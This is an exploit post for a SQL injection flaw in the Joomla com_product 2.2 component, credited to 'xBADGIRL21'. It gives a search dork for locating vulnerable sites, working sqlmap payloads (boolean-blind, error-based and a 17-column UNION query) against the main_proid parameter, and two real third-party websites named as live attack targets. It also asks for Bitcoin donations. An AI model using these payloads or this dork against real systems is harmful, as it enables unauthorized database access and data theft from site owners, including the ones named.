Joomla com_product 2.2 SQL injection Vulnerability

##############################
#        [xBADGIRL21]        #
#    [N3W PUBLIC 3XPL0IT]    #
#           _,________       #
#     0day _T _==____() --   #
#         /##(_)-'           #
#        /##/                #
#        x21                 #
##############################
# Exploit Title : Joomla com_product 2.2 SQL injection Vulnerability
# Exploit Author : xBADGIRL21
# Dork : inurl:index.php?option=com_product
# version : 2.2
# Tested on: [WIN7]
# MyBlog : http://xbadgirl21.blogspot.com
# Date: 10-03-2017
# video Proof : https://youtu.be/nxtkKvz6wrY
[*] To buy or Donate my BTC: 1Bgqu8faM8SPrArjoWRofRaTbMdes16mRz
######################
#|X|B|A|D|G|I|R|L|2|1|
######################
# [+] Poc :
######################
# [main_proid] Get Parameter Vulnerable To SQLi
#
http://127.0.0.1/component/product/mainlevel/designer_litter_bins_and_recycling_bins.html?main_proid=10
######################
# [+] SQLmap PoC:
######################
Parameter: main_proid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: main_proid=10 AND 2715=2715

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: main_proid=10 AND (SELECT 7268 FROM(SELECT COUNT(*),CONCAT(0x716a6b7871,(SELECT (ELT(7268=7268,1))),0x7171717171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: UNION query
    Title: Generic UNION query (NULL) - 17 columns
    Payload: main_proid=10 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a6b7871,0x7747466f6c77734d4f614a62786d4a646b7257686c71464173706c6d4f4d6c644a67507765454954,0x7171717171),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- umHw
---
# GET parameter 'main_proid' is vulnerable. Do you want to keep testing the others
(if any)? [y/N]
######################
# [!] Live Demo :
######################
# http://www.powerbear.ae/component/product/mainlevel/designer_litter_bins_and_recycling_bins.html?main_proid=10
# http://www.germandistribution.com/component/product/mainlevel/designer_litter_bins_and_recycling_bins.html?main_proid=10
######################
# Discovered by : xBADGIRL21
# Greetz : All Mauritanien Hackers - NoWhere
######################

#  0day.today [2018-01-09]  #